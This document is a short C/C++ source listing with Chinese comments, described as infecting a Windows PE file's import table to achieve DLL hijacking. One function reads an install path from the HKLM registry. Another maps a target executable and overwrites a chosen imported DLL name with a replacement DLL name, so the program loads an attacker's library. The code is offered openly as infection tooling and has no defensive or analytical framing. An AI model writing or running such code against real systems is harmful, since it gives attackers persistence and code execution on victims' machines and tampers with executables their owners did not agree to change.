感染PE文件导入表成员实现动态链接库劫持,C、C++ 源码,感染 PE 导入表 动态链接库 劫持。
/************************************************************************/
/* 功能:通过注册表构造目标文件路径
/*
/* 返回:无
/*
/* 名称:MakePath
/*
/* 参一:注册表子键
/*
/* 参二:键值
/*
/* 参三:目标文件名称
/*
/* 参四:缓存
/************************************************************************/
static void MakePath(LPCSTR sub,LPCSTR option,LPBYTE buffer,const char* name)
{
HKEY key;
DWORD length=MAX_PATH;
__try
{
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,sub,0,1,&key)) __leave;
if (RegQueryValueEx(key,option,0,0,buffer,&length)) __leave;
if (strcat_s(buffer,MAX_PATH,name)) __leave;
}
__finally
{
if (key) RegCloseKey(key);
}
return;
}
/************************************************************************/
/* 功能:感染PE文件导入表成员实现动态链接库劫持
/*
/* 返回:无
/*
/* 名称:FileInfect
/*
/* 参一:目标文件路径
/*
/* 参二:导入表成员名称
/*
/* 参三:劫持动态链接库名称
/************************************************************************/
static void FileInfect(LPCSTR path,const char* name,const char* replace)
{
DWORD offset;
LPVOID buffer;
HANDLE file;
HANDLE mapping;
LPBYTE module;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_IMPORT_DESCRIPTOR import;
__try
{
if ((file=CreateFile(path,FILE_ALL_ACCESS,0,0,3,0x80,0))==(void*)-1) __leave;
if (!(mapping=CreateFileMapping(file,0,PAGE_READWRITE,0,0,0))) __leave;
if (!(module=MapViewOfFile(mapping,FILE_MAP_ALL_ACCESS,0,0,0))) __leave;
dos=(PIMAGE_DOS_HEADER)module;
if (dos->e_magic!=IMAGE_DOS_SIGNATURE) __leave;
nt=(PIMAGE_NT_HEADERS)(module+dos->e_lfanew);
if (nt->Signature!=IMAGE_NT_SIGNATURE) __leave;
offset=nt->OptionalHeader.DataDirectory[1].VirtualAddress;
import=(PIMAGE_IMPORT_DESCRIPTOR)ImageRvaToVa(nt,module,offset,0);
while(import->FirstThunk)
{
buffer=ImageRvaToVa(nt,module,import->Name,0);
if (strcmp(buffer,name)==0)
{
strcpy_s(buffer,strlen(replace)+1,replace);
break;
}
import++;
}
}
__finally
{
if (module) UnmapViewOfFile(module);
if (mapping) CloseHandle(mapping);
if (file) CloseHandle(file);
}
return;
}